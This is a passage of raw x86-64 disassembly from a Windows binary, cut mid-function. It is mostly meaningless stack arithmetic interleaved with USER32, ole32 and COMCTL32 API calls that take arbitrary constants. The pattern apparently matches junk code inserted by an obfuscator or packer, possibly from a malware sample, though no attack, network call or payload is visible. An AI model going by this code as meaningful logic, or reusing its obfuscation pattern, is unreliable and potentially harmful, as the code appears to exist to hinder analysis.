mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
jmp 0x14030d25f
mov r8d, 0x73
mov rdx, qword [rsp + 0x13080]
mov rcx, qword [rsp + 0x13160]
call qword [sym.imp.USER32.dll_ChildWindowFromPointEx]
mov qword [rsp + 0x131f0], rax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13090]
mov qword [rsp + 0x418f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x418f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa884], eax
movzx eax, byte [0x14035e48e]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1784], ax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [0x140362afc]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6b4], al
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa7d0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
lea rdx, [rsp + 0x13140]
mov rcx, qword [rsp + 0x13130]
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0xa890], eax
jmp 0x14030d25f
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa808]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa884]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa884]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa87c]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov edx, 0xff
mov rcx, qword [rsp + 0x131f0]
call qword [sym.imp.USER32.dll_GetScrollPos]
mov dword [rsp + 0xa894], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140362afc], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b4]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa894]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa810]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14030d81f
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa78c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0xa7dc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14030d500
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
lea r8, [rsp + 0x13150]
lea rdx, [rsp + 0x130c8]
lea rcx, [rsp + 0x12fa8]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0xa77c], eax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2990], ax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d0]
xor ecx, eax
mov eax, ecx
mov dword [0x14035cbd8], eax
mov eax, dword [rsp + 0xa810]
mov rcx, qword [rsp + 0x12f20]
mov qword [rsp + 0x41900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41900]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x6b1]
sar eax, cl
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x299c], ax
mov cx, 0x8e
call qword [sym.imp.USER32.dll_VkKeyScanW]
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa850]
mov dword [rsp + 0xa854], eax
mov eax, dword [rsp + 0xa808]
mov ecx, dword [0x14035cbd8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14030d81f
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x628]
and eax, ecx
movsx ecx, byte [rsp + 0x6b2]
movsx edx, byte [rsp + 0x43e]
add ecx, edx
cmp eax, ecx
jle 0x14030d699
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov byte [rsp + 0x43d], al
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov r8d, 0xd7
lea rdx, [rsp + 0x12fb8]
lea rcx, [rsp + 0x419b8]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0xa854], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x13090]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov edx, 0xbc
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.USER32.dll_GetMenuItemID]
mov dword [rsp + 0xa868], eax
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
add eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
movsx eax, word [rsp + 0x2990]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1784], ax
movzx eax, word [rsp + 0x298c]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
jmp 0x14030d81f
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
xor eax, ecx
movsx ecx, word [rsp + 0x197c]
mov dword [rsp + 0x12ec0], ecx
movsx edx, word [rsp + 0x1784]
movzx ecx, dl
mov edx, dword [rsp + 0x12ec0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14030d81f
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e48e]
shl eax, cl
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov eax, dword [rsp + 0xa808]
mov dword [rsp + 0xa87c], eax
lea rdx, [rsp + 0x6b3]
lea rcx, [rsp + 0x41988]
call qword [sym.imp.ole32.dll_CoGetTreatAsClass]
mov dword [rsp + 0xa828], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov eax, dword [rsp + 0xa87c]
mov ecx, dword [0x14035cbd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa81c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov ecx, 0x9a
call qword [sym.imp.ole32.dll_CoTaskMemAlloc]
mov qword [rsp + 0x13178], rax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14035e48e], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa87c]
shr eax, cl
mov dword [rsp + 0xa808], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa774]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
lea r9, [rsp + 0x12f90]
lea r8, [rsp + 0x419a8]
lea rdx, [rsp + 0x12fc8]
lea rcx, [rsp + 0x419c8]
call sub.ole32.dll_CoGetInterceptor
mov dword [rsp + 0x12eb8], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa7b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa850], eax
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x299c], ax
movzx eax, byte [0x14035e48e]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov r8d, 1
mov rdx, qword [rsp + 0x13080]
mov rcx, qword [rsp + 0x13160]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa7d4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp case.0x14001f3fd.8
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x41908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41908]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [0x14035cbd8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp case.0x14001f3fd.8
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x299c], ax
lea rdx, [rsp + 0x12ff8]
mov rcx, qword [rsp + 0x12f68]
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0xa858], eax
movsx eax, byte [rsp + 0x628]
movsx ecx, byte [rsp + 0x43e]
sub eax, ecx
mov byte [rsp + 0x6b2], al
mov rax, qword [rsp + 0x130e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa810]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x6b1]
and eax, ecx
mov byte [rsp + 0x43d], al
jmp case.0x14001f3fd.8
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
lea rcx, [rsp + 0x41958]
call qword [sym.imp.ole32.dll_CoIsOle1Class]
mov dword [rsp + 0xa7b0], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [0x14035cbd8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [rsp + 0xa81c], eax
jmp case.0x14001f3fd.8
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
movzx eax, byte [0x14035e48e]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
call qword [sym.imp.USER32.dll_GetKBCodePage]
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7b4]
sar eax, cl
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x41910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41910]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa850], eax
mov eax, dword [rsp + 0xa854]
mov ecx, dword [rsp + 0xa804]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
jmp case.0x14001f3fd.8
mov rax, qword [rsp + 0x13108]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x130e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x197c], ax
xor r9d, r9d
lea r8, [rsp + 0x49ec0]
lea rdx, [rsp + 0x130a8]
lea rcx, [rsp + 0x12fe8]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0xa83c], eax
movzx eax, byte [rsp + 0x6b3]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13050]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d0], eax
lea r8, [rsp + 0x12fd8]
lea rdx, [rsp + 0x12ec8]
lea rcx, [rsp + 0x12fe0]
call qword [sym.imp.USER32.dll_SubtractRect]
mov dword [rsp + 0xa89c], eax
mov eax, dword [rsp + 0xa87c]
mov dword [rsp + 0xa7dc], eax
movzx eax, word [rsp + 0x299c]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6b1], al
mov rax, qword [rsp + 0x13020]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp case.0x14001f3fd.8
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa850]
sar eax, cl
mov rcx, qword [rsp + 0x13020]
mov dword [rcx], eax
mov r9d, 0xbb
mov r8d, 0xdc
lea rdx, [rsp + 0x419c8]
mov rcx, qword [rsp + 0x13138]
call qword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [rsp + 0xa818], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa854], eax
movzx eax, byte [rsp + 0x6b3]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
mov word [rsp + 0x299c], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa808]
shl eax, cl
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa804]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
jmp case.0x14001f3fd.8
movsx eax, word [rsp + 0x1784]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov word [rcx], ax
lea rax, [rsp + 0x12f40]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1784]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xa810]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x43e]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa87c]
lea r8, [rsp + 0x41968]
lea rdx, [rsp + 0x13070]
lea rcx, [rsp + 0x13020]
call qword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [rsp + 0xa848], eax
movzx eax, byte [rsp + 0x6b1]
movzx ecx, byte [rsp + 0x6b3]
add eax, ecx
mov byte [0x14035e48e], al
mov rax, qword [rsp + 0x12fe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sub eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
and eax, ecx
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa850]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8604], eax
mov rcx, qword [rsp + 0x12fe0]
call qword [sym.imp.USER32.dll_GetParent]
mov qword [rsp + 0x130b0], rax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
movzx eax, word [rsp + 0x298c]
movzx ecx, word [rsp + 0x299c]
or eax, ecx
mov rcx, qword [rsp + 0x13050]
mov word [rcx], ax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x13090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x41918], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41918]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov r8d, 0xd1
mov edx, 0x48
mov rcx, qword [rsp + 0x131f0]
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov dword [rsp + 0xa7d8], eax
jmp 0x14030e489
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x43d], al
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0xa7d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13090]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8604]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa804], eax
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.USER32.dll_DeregisterShellHookWindow]
mov dword [rsp + 0xa7b0], eax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x13060]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x13020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov eax, dword [rsp + 0xa7d8]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x41920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41920]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7dc]
movzx ecx, al
mov eax, dword [rsp + 0xa808]
shr eax, cl
mov dword [rsp + 0xa7d0], eax
mov rcx, qword [rsp + 0x13070]
call qword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
mov dword [rsp + 0xa89c], eax
jmp 0x14030e489
mov eax, dword [rsp + 0xa804]
mov dword [rsp + 0xa81c], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
and eax, ecx
mov word [rsp + 0x2990], ax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14035cbd8], eax
mov rcx, qword [rsp + 0x13150]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0xa85c], eax
mov eax, dword [rsp + 0xa7d0]
mov ecx, dword [rsp + 0xa808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa81c]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
movzx eax, byte [rsp + 0x6b1]
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x299c]
or eax, ecx
mov word [rsp + 0x298c], ax
jmp 0x14030e489
lea r9, [rsp + 0x49ec0]
mov r8d, 1
mov edx, DrawInsert
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov dword [rsp + 0xa818], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa808], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa804]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13090]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa854]
mov rcx, qword [rsp + 0x13020]
mov qword [rsp + 0x41928], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41928]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xa7dc], eax
mov eax, dword [rsp + 0xa808]
movzx ecx, al
mov eax, dword [rsp + 0xa78c]
shr eax, cl
mov dword [0x14035cbd8], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x13060]
mov byte [rcx], al
lea r9, [rsp + 0xa790]
lea r8, [rsp + 0x419a8]
lea rdx, [rsp + 0x13040]
lea rcx, [rsp + 0x419c8]
call sub.ole32.dll_CoGetInterceptor
mov dword [rsp + 0xa820], eax
mov rax, qword [rsp + 0x12f20]
